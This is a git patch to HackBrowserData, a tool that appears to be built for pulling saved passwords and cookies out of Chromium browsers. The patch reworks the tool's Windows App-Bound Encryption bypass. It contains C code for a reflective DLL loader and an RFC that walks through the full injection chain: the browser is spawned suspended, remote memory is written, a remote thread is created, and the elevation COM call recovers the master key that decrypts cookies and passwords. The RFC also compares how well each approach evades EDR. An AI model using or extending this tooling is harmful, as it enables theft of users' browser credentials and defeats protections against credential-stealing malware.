From 8c89ac72dd7b386ddbe8d0bf2969ef108b304feb Mon Sep 17 00:00:00 2001 From: slimwang Date: Tue, 25 Aug 2026 15:53:57 +0800 Subject: [PATCH] fix(windows): harden the ABE payload injection lifecycle (#638) * fix(windows): harden the ABE payload injection lifecycle The browser main thread is never resumed, so no window appears and the temp user-data-dir is unnecessary. Payload memory is RW then RX, with an explicit FlushInstructionCache before the remote thread executes it. * test(windows): use US spelling in offset test * fix(windows): validate bootstrap parameter encoding --- crypto/windows/abe_native/Makefile.frag | 3 +- crypto/windows/abe_native/bootstrap.c | 73 +++--- crypto/windows/abe_native/bootstrap/layout.go | 12 +- .../abe_native/bootstrap/layout_gen.go | 12 +- crypto/windows/abe_native/bootstrap_layout.h | 54 +++-- rfcs/010-chrome-abe-integration.md | 107 +++++---- utils/injector/pe_windows_test.go | 2 +- utils/injector/reflective_windows.go | 212 ++++++++++-------- utils/injector/reflective_windows_test.go | 112 +++++++++ utils/winapi/process_windows.go | 36 ++- 10 files changed, 389 insertions(+), 234 deletions(-) create mode 100644 utils/injector/reflective_windows_test.go diff --git a/crypto/windows/abe_native/Makefile.frag b/crypto/windows/abe_native/Makefile.frag index 53f25c5..34ea921 100644 --- a/crypto/windows/abe_native/Makefile.frag +++ b/crypto/windows/abe_native/Makefile.frag @@ -17,7 +17,8 @@ ABE_C_SRCS = $(ABE_SRC_DIR)/abe_extractor.c \ $(ABE_SRC_DIR)/bootstrap.c ABE_HDRS = $(ABE_SRC_DIR)/com_iid.h \ - $(ABE_SRC_DIR)/bootstrap.h + $(ABE_SRC_DIR)/bootstrap.h \ + $(ABE_SRC_DIR)/bootstrap_layout.h $(ABE_BIN): $(ABE_C_SRCS) $(ABE_HDRS) @mkdir -p $(ABE_BIN_DIR) diff --git a/crypto/windows/abe_native/bootstrap.c b/crypto/windows/abe_native/bootstrap.c index ad8c60c..e13a906 100644 --- a/crypto/windows/abe_native/bootstrap.c +++ b/crypto/windows/abe_native/bootstrap.c @@ -19,8 +19,8 @@ typedef struct { pfn_NtFlushInstructionCache NtFlushInstructionCache; } resolved_imports; -#define MARK(imgBase, step) do { \ - *(volatile BYTE *)((BYTE *)(imgBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \ +#define MARK(scratchBase, step) do { \ + *(volatile BYTE *)((BYTE *)(scratchBase) + BOOTSTRAP_MARKER_OFFSET) = (BYTE)(step); \ } while (0) // noinline is load-bearing: if this gets inlined into Bootstrap, @@ -53,24 +53,25 @@ static ULONG_PTR locate_own_image_base(void) return 0; } -// read_preresolved_imports pulls the five function pointers the Go injector -// patched into the payload's DOS stub (see patchPreresolvedImports on the -// Go side). Returns FALSE if any slot is NULL — indicating a build-stub -// mismatch between C and Go. -static BOOL read_preresolved_imports(ULONG_PTR imageBase, resolved_imports *out) +// read_bootstrap_params pulls the scratch pointer and function pointers from +// the remote thread parameter block written by the Go injector. The target +// process is created by us and kept suspended, so passing explicit parameters +// is clearer than re-discovering imports from the PEB or patching the DOS stub. +static BOOL read_bootstrap_params(LPVOID lpParameter, resolved_imports *out, + ULONG_PTR *outScratchBase) { - out->LoadLibraryA = - *(pfn_LoadLibraryA *)(imageBase + BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET); - out->GetProcAddress = - *(pfn_GetProcAddress *)(imageBase + BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET); - out->VirtualAlloc = - *(pfn_VirtualAlloc *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET); - out->VirtualProtect = - *(pfn_VirtualProtect *)(imageBase + BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET); - out->NtFlushInstructionCache = - *(pfn_NtFlushInstructionCache *)(imageBase + BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET); + if (!lpParameter) return FALSE; - return out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc && + BootstrapParams *params = (BootstrapParams *)lpParameter; + *outScratchBase = params->scratch_base; + out->LoadLibraryA = (pfn_LoadLibraryA)params->LoadLibraryA; + out->GetProcAddress = (pfn_GetProcAddress)params->GetProcAddress; + out->VirtualAlloc = (pfn_VirtualAlloc)params->VirtualAlloc; + out->VirtualProtect = (pfn_VirtualProtect)params->VirtualProtect; + out->NtFlushInstructionCache = + (pfn_NtFlushInstructionCache)params->NtFlushInstructionCache; + + return *outScratchBase && out->LoadLibraryA && out->GetProcAddress && out->VirtualAlloc && out->VirtualProtect && out->NtFlushInstructionCache; } @@ -146,8 +147,8 @@ static void apply_base_relocations(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt) } // link_iat resolves the Import Address Table for each DLL the payload -// references, using the pre-resolved LoadLibraryA + GetProcAddress the -// Go injector patched in. +// references, using the LoadLibraryA + GetProcAddress pointers the Go injector +// passes in the BootstrapParams block. static void link_iat(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt, const resolved_imports *imp) { @@ -211,9 +212,8 @@ static void set_section_protections(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt, } // invoke_dllmain calls the payload's DllMain with DLL_PROCESS_ATTACH. -// lpReserved carries the original raw-image base so DllMain (= the ABE -// extractor entry) can write the decrypted key back into the scratch -// region the Go injector reads. +// lpReserved carries the standalone scratch base so DllMain (= the ABE +// extractor entry) can write the decrypted key where the Go injector reads. static ULONG_PTR invoke_dllmain(BYTE *newBase, PIMAGE_NT_HEADERS64 newNt, ULONG_PTR scratchBase) { @@ -227,37 +227,38 @@ __declspec(dllexport) ULONG_PTR WINAPI Bootstrap(LPVOID lpParameter) { ULONG_PTR imageBase = locate_own_image_base(); if (imageBase == 0) return 0; - MARK(imageBase, BOOTSTRAP_MARK_MZ_FOUND); resolved_imports imp; - if (!read_preresolved_imports(imageBase, &imp)) { - MARK(imageBase, BOOTSTRAP_MARK_ERR_IMPORTS); + ULONG_PTR scratchBase = 0; + if (!read_bootstrap_params(lpParameter, &imp, &scratchBase)) { + if (scratchBase) MARK(scratchBase, BOOTSTRAP_MARK_ERR_IMPORTS); return 0; } - MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_OK); + MARK(scratchBase, BOOTSTRAP_MARK_MZ_FOUND); + MARK(scratchBase, BOOTSTRAP_MARK_IMPORTS_OK); PIMAGE_NT_HEADERS64 newNt; BYTE *newBase = allocate_and_copy_image(imageBase, &imp, &newNt); if (!newBase) { - MARK(imageBase, BOOTSTRAP_MARK_ERR_ALLOC); + MARK(scratchBase, BOOTSTRAP_MARK_ERR_ALLOC); return 0; } - MARK(imageBase, BOOTSTRAP_MARK_ALLOC_OK); - MARK(imageBase, BOOTSTRAP_MARK_COPIED); + MARK(scratchBase, BOOTSTRAP_MARK_ALLOC_OK); + MARK(scratchBase, BOOTSTRAP_MARK_COPIED); apply_base_relocations(newBase, newNt); - MARK(imageBase, BOOTSTRAP_MARK_RELOCATED); + MARK(scratchBase, BOOTSTRAP_MARK_RELOCATED); link_iat(newBase, newNt, &imp); - MARK(imageBase, BOOTSTRAP_MARK_IMPORTS_FIXED); + MARK(scratchBase, BOOTSTRAP_MARK_IMPORTS_FIXED); set_section_protections(newBase, newNt, &imp); - MARK(imageBase, BOOTSTRAP_MARK_PERMISSIONS); + MARK(scratchBase, BOOTSTRAP_MARK_PERMISSIONS); imp.NtFlushInstructionCache((HANDLE)-1, NULL, 0); - MARK(imageBase, BOOTSTRAP_MARK_CACHE_FLUSHED); + MARK(scratchBase, BOOTSTRAP_MARK_CACHE_FLUSHED); - ULONG_PTR result = invoke_dllmain(newBase, newNt, imageBase); - MARK(imageBase, BOOTSTRAP_MARK_DONE); + ULONG_PTR result = invoke_dllmain(newBase, newNt, scratchBase); + MARK(scratchBase, BOOTSTRAP_MARK_DONE); return result; } diff --git a/crypto/windows/abe_native/bootstrap/layout.go b/crypto/windows/abe_native/bootstrap/layout.go index ba53746..cf9b7e8 100644 --- a/crypto/windows/abe_native/bootstrap/layout.go +++ b/crypto/windows/abe_native/bootstrap/layout.go @@ -13,11 +13,13 @@ const ( KeyOffset = 0x40 KeyLen = 0x20 - ImpLoadLibraryAOffset = 0x40 - ImpGetProcAddressOffset = 0x48 - ImpVirtualAllocOffset = 0x50 - ImpVirtualProtectOffset = 0x58 - ImpNtFlushICOffset = 0x60 + ParamsSize = 0x30 + ParamScratchBase = 0x0 + ParamLoadLibraryA = 0x8 + ParamGetProcAddress = 0x10 + ParamVirtualAlloc = 0x18 + ParamVirtualProtect = 0x20 + ParamNtFlushIC = 0x28 MarkMZFound = 0x2 MarkImportsOK = 0x5 diff --git a/crypto/windows/abe_native/bootstrap/layout_gen.go b/crypto/windows/abe_native/bootstrap/layout_gen.go index 0304e66..e28dd18 100644 --- a/crypto/windows/abe_native/bootstrap/layout_gen.go +++ b/crypto/windows/abe_native/bootstrap/layout_gen.go @@ -20,11 +20,13 @@ const ( KeyOffset = C.BOOTSTRAP_KEY_OFFSET KeyLen = C.BOOTSTRAP_KEY_LEN - ImpLoadLibraryAOffset = C.BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET - ImpGetProcAddressOffset = C.BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET - ImpVirtualAllocOffset = C.BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET - ImpVirtualProtectOffset = C.BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET - ImpNtFlushICOffset = C.BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET + ParamsSize = C.BOOTSTRAP_PARAMS_SIZE + ParamScratchBase = C.BOOTSTRAP_PARAM_SCRATCH_BASE + ParamLoadLibraryA = C.BOOTSTRAP_PARAM_LOAD_LIBRARY_A + ParamGetProcAddress = C.BOOTSTRAP_PARAM_GET_PROC_ADDRESS + ParamVirtualAlloc = C.BOOTSTRAP_PARAM_VIRTUAL_ALLOC + ParamVirtualProtect = C.BOOTSTRAP_PARAM_VIRTUAL_PROTECT + ParamNtFlushIC = C.BOOTSTRAP_PARAM_NT_FLUSH_IC MarkMZFound = C.BOOTSTRAP_MARK_MZ_FOUND MarkImportsOK = C.BOOTSTRAP_MARK_IMPORTS_OK diff --git a/crypto/windows/abe_native/bootstrap_layout.h b/crypto/windows/abe_native/bootstrap_layout.h index 8a960ab..03c9d17 100644 --- a/crypto/windows/abe_native/bootstrap_layout.h +++ b/crypto/windows/abe_native/bootstrap_layout.h @@ -6,11 +6,8 @@ // BootstrapScratch describes the IPC contract between the C payload running // inside the target browser process (chrome.exe, msedge.exe, brave.exe, etc.) -// and the Go injector in our own process. It squats inside -// the target DLL's PE DOS header region. Windows' PE loader ignores the DOS -// stub at 0x40..0x77, and we also borrow a few reserved bytes between 0x28 -// and 0x3B inside IMAGE_DOS_HEADER. The e_lfanew at 0x3C..0x3F MUST be left -// untouched so the PE loader can still find the NT headers. +// and the Go injector in our own process. The injector allocates this as a +// standalone RW block in the target process and passes its address to Bootstrap. // // This header is deliberately free of so cgo -godefs can read it // on macOS / Linux to regenerate the Go-side constants. @@ -26,23 +23,19 @@ typedef struct __attribute__((packed)) BootstrapScratch { uint32_t hresult; // 0x2C: COM HRESULT on failure (0 otherwise) uint32_t com_err; // 0x30: IElevator.DecryptData out DWORD on failure - uint8_t dos_header_tail[0x40 - 0x34]; // 0x34..0x3F, includes e_lfanew @ 0x3C - - // 0x40..0x67: time-shared region - // pre-Bootstrap: 5 pre-resolved kernel32/ntdll function pointers - // post-DllMain : 32-byte master key at 0x40..0x5F - union { - struct { - uintptr_t LoadLibraryA; // 0x40 - uintptr_t GetProcAddress; // 0x48 - uintptr_t VirtualAlloc; // 0x50 - uintptr_t VirtualProtect; // 0x58 - uintptr_t NtFlushInstructionCache; // 0x60 - } imports; - uint8_t key[32]; // 0x40..0x5F - } shared; + uint8_t _reserved_34[0x40 - 0x34]; // 0x34..0x3F + uint8_t key[32]; // 0x40..0x5F } BootstrapScratch; +typedef struct __attribute__((packed)) BootstrapParams { + uintptr_t scratch_base; + uintptr_t LoadLibraryA; + uintptr_t GetProcAddress; + uintptr_t VirtualAlloc; + uintptr_t VirtualProtect; + uintptr_t NtFlushInstructionCache; +} BootstrapParams; + // Byte offsets derived from the struct. These are the ONLY place raw numeric // offsets appear; every C and Go consumer uses these names (or the Go-side // constants generated from them via cgo -godefs). @@ -52,14 +45,18 @@ typedef struct __attribute__((packed)) BootstrapScratch { #define BOOTSTRAP_EXTRACT_ERR_CODE_OFFSET offsetof(struct BootstrapScratch, extract_err_code) #define BOOTSTRAP_HRESULT_OFFSET offsetof(struct BootstrapScratch, hresult) #define BOOTSTRAP_COMERR_OFFSET offsetof(struct BootstrapScratch, com_err) -#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, shared.key) +#define BOOTSTRAP_KEY_OFFSET offsetof(struct BootstrapScratch, key) #define BOOTSTRAP_KEY_LEN 32 -#define BOOTSTRAP_IMPORT_LOADLIBRARYA_OFFSET offsetof(struct BootstrapScratch, shared.imports.LoadLibraryA) -#define BOOTSTRAP_IMPORT_GETPROCADDRESS_OFFSET offsetof(struct BootstrapScratch, shared.imports.GetProcAddress) -#define BOOTSTRAP_IMPORT_VIRTUALALLOC_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualAlloc) -#define BOOTSTRAP_IMPORT_VIRTUALPROTECT_OFFSET offsetof(struct BootstrapScratch, shared.imports.VirtualProtect) -#define BOOTSTRAP_IMPORT_NTFLUSHIC_OFFSET offsetof(struct BootstrapScratch, shared.imports.NtFlushInstructionCache) +// The Go injector serializes BootstrapParams by hand, so every field offset is generated +// here too — adding or reordering a field then changes layout.go and breaks gen-layout-verify. +#define BOOTSTRAP_PARAMS_SIZE sizeof(struct BootstrapParams) +#define BOOTSTRAP_PARAM_SCRATCH_BASE offsetof(struct BootstrapParams, scratch_base) +#define BOOTSTRAP_PARAM_LOAD_LIBRARY_A offsetof(struct BootstrapParams, LoadLibraryA) +#define BOOTSTRAP_PARAM_GET_PROC_ADDRESS offsetof(struct BootstrapParams, GetProcAddress) +#define BOOTSTRAP_PARAM_VIRTUAL_ALLOC offsetof(struct BootstrapParams, VirtualAlloc) +#define BOOTSTRAP_PARAM_VIRTUAL_PROTECT offsetof(struct BootstrapParams, VirtualProtect) +#define BOOTSTRAP_PARAM_NT_FLUSH_IC offsetof(struct BootstrapParams, NtFlushInstructionCache) // Progress markers written by Bootstrap itself (enum-like, not offsets). #define BOOTSTRAP_MARK_MZ_FOUND 0x02 @@ -94,7 +91,8 @@ _Static_assert(offsetof(struct BootstrapScratch, key_status) == 0x29, "key _Static_assert(offsetof(struct BootstrapScratch, extract_err_code) == 0x2A, "extract_err_code offset"); _Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset"); _Static_assert(offsetof(struct BootstrapScratch, com_err) == 0x30, "com_err offset"); -_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset"); -_Static_assert(sizeof(((struct BootstrapScratch *)0)->shared.key) == 32, "key length"); +_Static_assert(offsetof(struct BootstrapScratch, key) == 0x40, "key offset"); +_Static_assert(sizeof(((struct BootstrapScratch *)0)->key) == 32, "key length"); +_Static_assert(sizeof(struct BootstrapParams) == 48, "bootstrap params size"); #endif // HBD_ABE_BOOTSTRAP_LAYOUT_H diff --git a/rfcs/010-chrome-abe-integration.md b/rfcs/010-chrome-abe-integration.md index 5655ba2..14a5ae4 100644 --- a/rfcs/010-chrome-abe-integration.md +++ b/rfcs/010-chrome-abe-integration.md @@ -1,13 +1,10 @@ # RFC-010: Chrome App-Bound Encryption Integration -**Author**: moonD4rk -**Status**: Living Document -**Created**: 2026-04-17 -**Last updated**: 2026-04-19 +**Author**: moonD4rk **Status**: Living Document **Created**: 2026-04-17 **Last updated**: 2026-04-19 ## 1. Overview -Chrome 127+ introduced **App-Bound Encryption (ABE)** on Windows. The `Local State` key that decrypts `v10`-era cookies/passwords is no longer a user-bound DPAPI blob; it is now an *app-bound* blob that only a legitimate `chrome.exe` / `msedge.exe` / `brave.exe` process can unwrap via the `elevation_service` COM RPC (`IElevator::DecryptData`). +Chrome 127+ introduced **App-Bound Encryption (ABE)** on Windows. The `Local State` key that decrypts `v10`-era cookies/passwords is no longer a user-bound DPAPI blob; it is now an _app-bound_ blob that only a legitimate `chrome.exe` / `msedge.exe` / `brave.exe` process can unwrap via the `elevation_service` COM RPC (`IElevator::DecryptData`). This RFC documents how HackBrowserData integrates ABE support end-to-end while keeping the project **pure Go by default, cross-platform, zero disk footprint at runtime, and zero cost for non-Windows contributors.** @@ -19,13 +16,13 @@ Related RFCs: ### 1.1 Compatibility contract -| Component | Contract | -|---|---| -| Go toolchain | **1.20** (pinned; Go 1.21+ drops Win7) | -| Windows host | Any Win10 1909+ (PE loader + UCRT) | -| Chrome family | Any v127+ (ABE introduced) | -| zig toolchain | 0.13+ (for `make payload`) | -| Target arch | x86_64 only (x86 / ARM64 reserved) | +| Component | Contract | +| ------------- | -------------------------------------- | +| Go toolchain | **1.20** (pinned; Go 1.21+ drops Win7) | +| Windows host | Any Win10 1909+ (PE loader + UCRT) | +| Chrome family | Any v127+ (ABE introduced) | +| zig toolchain | 0.13+ (for `make payload`) | +| Target arch | x86_64 only (x86 / ARM64 reserved) | ## 2. The constraint that shapes the design @@ -56,33 +53,38 @@ browser/chromium.Extract() **Stage 2 — Payload preparation** (still our process) 1. Read the embedded payload via `//go:embed abe_extractor_amd64.bin` (~75 KB). -2. Patch 5 × `uintptr` function pointers into the payload's DOS stub (see §4.4). +2. Prepare a remote Bootstrap parameter block with the scratch pointer and 5 × `uintptr` function pointers (see §4.4). 3. Look up `Bootstrap`'s **raw file offset** (not RVA) via `debug/pe`. **Stage 3 — Spawn + inject** (still our process, target is newly spawned) ``` CreateProcessW(browser.exe, CREATE_SUSPENDED) -VirtualAllocEx(target, RWX, sizeOf(payload)) -WriteProcessMemory(patched bytes) -ResumeThread(mainThread) + Sleep(500ms) // let ntdll finish loader init -CreateRemoteThread(target, remoteBase + bootstrapFileOffset) +VirtualAllocEx(target, RW, sizeOf(payload)) +WriteProcessMemory(payload bytes) +VirtualProtectEx(target, payload, RX) +FlushInstructionCache(target, payload) // required before the region is executed +VirtualAllocEx(target, RW, sizeof(BootstrapScratch)) +VirtualAllocEx(target, RW, sizeof(BootstrapParams)) +CreateRemoteThread(target, remoteBase + bootstrapFileOffset, paramsBase) ``` +The browser's own primary thread is created suspended and never resumed — only our remote thread runs, so no Chromium UI is ever created and no `--user-data-dir` isolation is needed to survive `ProcessSingleton`. Process-wide loader init still happens, because the first thread to run in the process goes through `LdrInitializeThunk`. + **Stage 4 — Inside the remote `browser.exe`** -The hijacked thread runs `Bootstrap` (C), our self-written reflective DLL loader. On return it calls the payload's `DllMain`: +The remote thread runs `Bootstrap` (C), our self-written reflective DLL loader. On return it calls the payload's `DllMain`: ``` Bootstrap → see §4.1 (7 helpers + orchestrator) - ↓ calls DllMain(DLL_PROCESS_ATTACH, imageBase) + ↓ calls DllMain(DLL_PROCESS_ATTACH, scratchBase) DoExtractKey → see §4.2 CoCreateInstance(CLSID, IID_v2 | fallback IID_v1) CoSetProxyBlanket(PKT_PRIVACY + IMPERSONATE) vtbl[slot]->DecryptData(bstrEnc) ↓ COM RPC elevation_service (SYSTEM) → returns 32-byte plaintext key - publish_key() → imageBase[0x40..0x5F] (success) + publish_key() → scratchBase[0x40..0x5F] (success) publish_error(code, hr, comErr) (failure) ``` @@ -105,16 +107,16 @@ Three translation units, ~500 lines of pure C. No C++, no assembly, no direct sy Structure after refactor: **one ~30-line orchestrator + seven single-purpose static helpers**: | Helper | Responsibility | -|---|---| +| --- | --- | | `locate_own_image_base` | Backward-scan from `__builtin_return_address(0)` for MZ/PE magic (must stay `noinline`) | -| `read_preresolved_imports` | Read 5 function pointers the Go injector patched into DOS stub (§4.4) | +| `read_bootstrap_params` | Read the standalone scratch pointer and 5 function pointers from the remote parameter block (§4.4) | | `allocate_and_copy_image` | `VirtualAlloc(SizeOfImage, RW)` + copy headers/sections | | `apply_base_relocations` | Walk `IMAGE_DIRECTORY_ENTRY_BASERELOC`, fix `IMAGE_REL_BASED_DIR64` | -| `link_iat` | Resolve each imported DLL + fill IAT via pre-resolved `LoadLibraryA` / `GetProcAddress` | +| `link_iat` | Resolve each imported DLL + fill IAT via parameter-supplied `LoadLibraryA` / `GetProcAddress` | | `set_section_protections` | `.text → RX`, `.rdata → R`, `.data → RW` per `Characteristics` | -| `invoke_dllmain` | Call mapped `DllMain(DLL_PROCESS_ATTACH, imageBase)` — `imageBase` is the scratch handoff pointer | +| `invoke_dllmain` | Call mapped `DllMain(DLL_PROCESS_ATTACH, scratchBase)` | -Progress markers: after each major step the orchestrator writes one byte to `imageBase + BOOTSTRAP_MARKER_OFFSET` (0x28, inside `IMAGE_DOS_HEADER.e_res2`). The Go injector reads this back on failure to pinpoint the stage. +Progress markers: after each major step the orchestrator writes one byte to `scratchBase + BOOTSTRAP_MARKER_OFFSET` (0x28). The Go injector reads this back on failure to pinpoint the stage. ### 4.2 COM extractor — `abe_extractor.c` @@ -151,11 +153,11 @@ Static table mapping `exe_basename → { CLSID, IID_v1, IID_v2, kind }`. `kind` Current coverage: Chrome Stable/Beta, Brave, Edge, Avast Secure Browser, CocCoc. Source file `crypto/windows/abe_native/com_iid.c` is the authoritative list — see §10 for how to add a new fork. -### 4.4 Pre-resolved imports (non-obvious design) +### 4.4 Bootstrap parameter block (non-obvious design) The original plan had `Bootstrap` walk the PEB's `InMemoryOrderModuleList` to find kernel32 / ntdll and resolve `LoadLibraryA` etc. via export-table parsing. It worked in test processes but **crashed reproducibly in Chrome 147's broker process** — `resolve_export` returned NULL for every LDR entry. Root cause was never fully pinpointed (Chrome-specific process state + Windows 10 LDR layout interaction). -Workaround: **Go resolves the 5 required functions in its own process** (via `windows.LazyProc.Addr()` in `utils/injector/winapi_windows.go`) and **patches the raw u64 values into the payload's DOS stub** at fixed offsets before `WriteProcessMemory`. `Bootstrap` just reads them; no PEB walk, no export parsing. +Workaround: **Go resolves the 5 required functions in its own process** (via `windows.LazyProc.Addr()` in `utils/winapi/process_windows.go`) and writes those raw u64 values into a dedicated `BootstrapParams` block in the target process. `Bootstrap` reads the remote-thread parameter; no PEB walk, no export parsing, and no mutation of the payload bytes. Validity relies on Windows **KnownDlls + session-consistent ASLR** — `kernel32.dll` and `ntdll.dll` load at the same virtual address in all processes of a boot session. @@ -166,8 +168,8 @@ Validity relies on Windows **KnownDlls + session-consistent ASLR** — `kernel32 Four files collaborate: | File | Role | -|---|---| -| `reflective_windows.go` | `Reflective.Inject(exePath, payload, env) ([]byte, error)` — the orchestrator. Win32 calls (`VirtualAllocEx`, `CreateRemoteThread`, `NtFlushIC`, import-address lookups) delegate to `utils/winapi/` via `CallBoolErr`. | +| --- | --- | +| `reflective_windows.go` | `Reflective.Inject(exePath, payload, env) ([]byte, error)` — the orchestrator. Win32 calls (`VirtualAllocEx`, `VirtualProtectEx`, `CreateRemoteThread`, import-address lookups) delegate to `utils/winapi/` via `CallBoolErr`. | | `errors_windows.go` | `formatABEError(scratchResult) string` — renders the C-side diag channel into human-readable strings via two lookup maps (`ABE_ERR_*` names + known HRESULT names like `E_ACCESSDENIED`). | | `pe_windows.go` | `FindExportFileOffset(dllBytes, "Bootstrap")` — raw-file offset via `debug/pe`. | | `arch_windows.go` | Architecture validation (amd64-only today). | @@ -176,12 +178,12 @@ Four files collaborate: ### 5.2 Scratch layout codegen -The C payload and Go injector communicate through a byte-level protocol inside the target process's DOS stub region. The layout is defined **once** as a `BootstrapScratch` struct + `offsetof`-based macros in `crypto/windows/abe_native/bootstrap_layout.h`. `_Static_assert`s in the same header guarantee compile-time detection of layout drift: +The C payload and Go injector communicate through a byte-level protocol in a standalone RW scratch allocation inside the target process. The layout is defined **once** as a `BootstrapScratch` struct + `offsetof`-based macros in `crypto/windows/abe_native/bootstrap_layout.h`. `_Static_assert`s in the same header guarantee compile-time detection of layout drift: ```c _Static_assert(offsetof(struct BootstrapScratch, marker) == 0x28, "marker offset"); _Static_assert(offsetof(struct BootstrapScratch, hresult) == 0x2C, "hresult offset"); -_Static_assert(offsetof(struct BootstrapScratch, shared) == 0x40, "shared offset"); +_Static_assert(offsetof(struct BootstrapScratch, key) == 0x40, "key offset"); ``` Go consumes the same constants via **`go tool cgo -godefs`** (a development-time tool, not a runtime dependency). `make gen-layout` regenerates `crypto/windows/abe_native/bootstrap/layout.go` from `bootstrap_layout.h` using `CC="zig cc"` for bit-identical results across host OSes. `make gen-layout-verify` can be run locally to verify the committed `layout.go` matches the current header. @@ -205,14 +207,14 @@ On extraction success, logs at `Info` level (`abe: retrieved master ke ## 6. Build chain - **Default build** (any host, no zig): `go build ./cmd/hack-browser-data/` succeeds; ABE is stubbed out. Legacy v10/v11 cookies still decrypt via DPAPI. -- **Windows release with ABE**: `make build-windows` = `make payload` (zig cc → `crypto/windows/payload/abe_extractor_amd64.bin`) + `GOOS=windows go build -tags abe_embed`. The `abe_embed` tag activates `//go:embed` on the compiled binary. -- **Layout regen**: `make gen-layout` after any change to `bootstrap_layout.h`. +- **Windows release with ABE**: `make build-windows` = `make payload` (zig cc → `crypto/windows/payload/abe_extractor_amd64.bin`) + `GOOS=windows go build -tags abe_embed`. The `abe_embed` tag activates `//go:embed` on the compiled binary, so the payload is always built from the C sources in the same run and cannot go stale. +- **Layout regen**: `make gen-layout` after any change to `bootstrap_layout.h`. This also covers the `BootstrapParams` field offsets the Go injector serializes by hand. - **`go.mod` unchanged** — no new dependencies. `zig` is the only external toolchain, and only when actually rebuilding the payload. ## 7. Impact on non-Windows contributors — zero | Scenario | Requires zig? | Requires CGO? | Default `go build ./...` succeeds? | -|---|---|---|---| +| --- | --- | --- | --- | | macOS / Linux feature work | no | no | yes | | Windows non-ABE (v10/DPAPI) | no | no | yes (stub path) | | Windows release with ABE | **yes** | no | `make build-windows` | @@ -227,50 +229,47 @@ All ABE-specific Go code is behind `//go:build windows` (plus `&& abe_embed` for - Payload DLL exists only as: 1. Build artifact on the developer machine (`crypto/windows/payload/abe_extractor_amd64.bin`, git-ignored) 2. `.rdata` section of `hack-browser-data.exe` (`//go:embed`) - 3. Go `[]byte` in our process memory (one `copy()` for import patching) - 4. `VirtualAllocEx`'d region in the target browser during injection; released on `TerminateProcess` + 3. Go `[]byte` in our process memory + 4. `VirtualAllocEx`'d RX payload region in the target browser during injection; released on `TerminateProcess` -No `%TEMP%\*.dll` or `%TEMP%\*.txt`. The master key is handed back via `ReadProcessMemory` on the target's scratch region at `remoteBase + 0x40` (32 bytes). Everything stays in RAM. +No `%TEMP%\*.dll` or `%TEMP%\*.txt`. The master key is handed back via `ReadProcessMemory` on the target's standalone scratch region at `scratchBase + 0x40` (32 bytes). Everything stays in RAM. ### 8.1 Scratch layout ``` -imageBase + 0x00 MZ header (untouched by us) -imageBase + 0x28 marker (1 B) ← Bootstrap progress -imageBase + 0x29 key_status (1 B; 0x01 = ready) -imageBase + 0x2A extract_err_code (1 B) ← ABE_ERR_* category on failure -imageBase + 0x2C hresult (4 B LE) ← COM HRESULT on failure (0 on success) -imageBase + 0x30 com_err (4 B LE) ← IElevator out DWORD on failure -imageBase + 0x3C e_lfanew (PE header ptr, MUST NOT overwrite) -imageBase + 0x40..0x67 shared region (union): - pre-Bootstrap: 5 × uintptr (LoadLibraryA, GetProcAddress, - VirtualAlloc, VirtualProtect, NtFlushIC) - post-DllMain : 32-byte master key at 0x40..0x5F +scratchBase + 0x28 marker (1 B) ← Bootstrap progress +scratchBase + 0x29 key_status (1 B; 0x01 = ready) +scratchBase + 0x2A extract_err_code (1 B) ← ABE_ERR_* category on failure +scratchBase + 0x2C hresult (4 B LE) ← COM HRESULT on failure (0 on success) +scratchBase + 0x30 com_err (4 B LE) ← IElevator out DWORD on failure +scratchBase + 0x40..0x5F 32-byte master key ``` -`0x40..0x5F` is **time-shared**: Go writes import pointers pre-injection; Bootstrap reads them once at function start; then DllMain overwrites the same bytes with the key. No concurrent readers. +Import pointers live in the separate `BootstrapParams` block passed as the remote thread parameter; the scratch block is only diagnostics plus key material. ## 9. Comparison with reference implementations Three implementations of "extract Chrome v20 master key via reflective injection" exist in the ecosystem. | Dimension | **This project** | **injector-old** (local C++ fork) | **xaitax/Chrome-App-Bound-Encryption-Decryption** | -|---|---|---|---| +| --- | --- | --- | --- | | Top-level language | Go + C | Go + C++ | C++ end-to-end | | Injector runtime | Go, `CGO_ENABLED=0` | Go, `CGO_ENABLED=0` | C++ standalone exe | | Reflective loader | **Self-written C**, ~280 lines | Stephen Fewer 2012 `ReflectiveLoader` (vendored C, ~500) | Self-written C++, ~400 | -| kernel32 resolution | **Pre-resolved by Go, patched into DOS stub** | PEB walk + `_rotr` hash | PEB walk + `_rotr` hash | +| kernel32 resolution | **Pre-resolved by Go, passed in BootstrapParams** | PEB walk + `_rotr` hash | PEB walk + `_rotr` hash | | Syscall mechanism | Win32 APIs | Win32 APIs | Direct syscall via ASM trampoline | | COM DecryptData dispatch | Vtable slot by browser kind (5/8/13) | Full interface via `ComPtr` | Same as injector-old | | IPC payload → injector | **env var in, scratch-region read out** | Named pipe (full duplex) | Named pipe (full duplex) | | Build toolchain for payload | `zig cc` | MSVC / clang-cl | MSVC | | Runtime disk footprint | **0 bytes** | 1 temp file + pipe | Pipe | -| EDR evasion posture | None (Win32 APIs visible) | Partial (optional Nt*) | Strong (direct syscalls) | +| EDR evasion posture | None (Win32 APIs visible) | Partial (optional Nt\*) | Strong (direct syscalls) | ### 9.1 Why we didn't vendor xaitax's Bootstrap Tempting — it's known-good. But: C++ in an otherwise pure-C/Go repo; ASM trampolines + direct syscalls add a second toolchain leg; pipe-based IPC is 300+ lines of C we don't need; browser termination is a product-policy decision we 